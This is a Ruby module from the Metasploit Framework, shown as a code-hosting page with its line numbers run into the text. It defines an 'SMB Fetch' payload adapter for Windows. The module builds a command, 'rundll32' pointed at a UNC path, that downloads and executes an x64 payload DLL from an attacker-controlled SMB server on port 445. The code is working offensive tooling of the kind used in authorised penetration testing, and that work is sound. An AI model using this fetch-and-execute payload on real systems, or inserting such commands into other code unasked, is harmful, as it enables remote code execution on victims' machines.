Path: blob/master/modules/payloads/adapters/cmd/windows/smb/x64.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6include Msf::Payload::Adapter::Fetch::SMB78def initialize(info = {})9super(10update_info(11info,12'Name' => 'SMB Fetch',13'Description' => 'Fetch and execute an x64 payload from an SMB server.',14'Author' => 'Spencer McIntyre',15'Platform' => 'win',16'Arch' => ARCH_CMD,17'License' => MSF_LICENSE,18'AdaptedArch' => ARCH_X64,19'AdaptedPlatform' => 'win'20)21)22deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME')23end2425def srvport26445 # UNC paths for SMB services *must* be 44527end2829def generate_fetch_commands30"rundll32 #{unc},0"31end3233# generate a DLL instead of an EXE34alias generate_payload_exe generate_payload_dll35end363738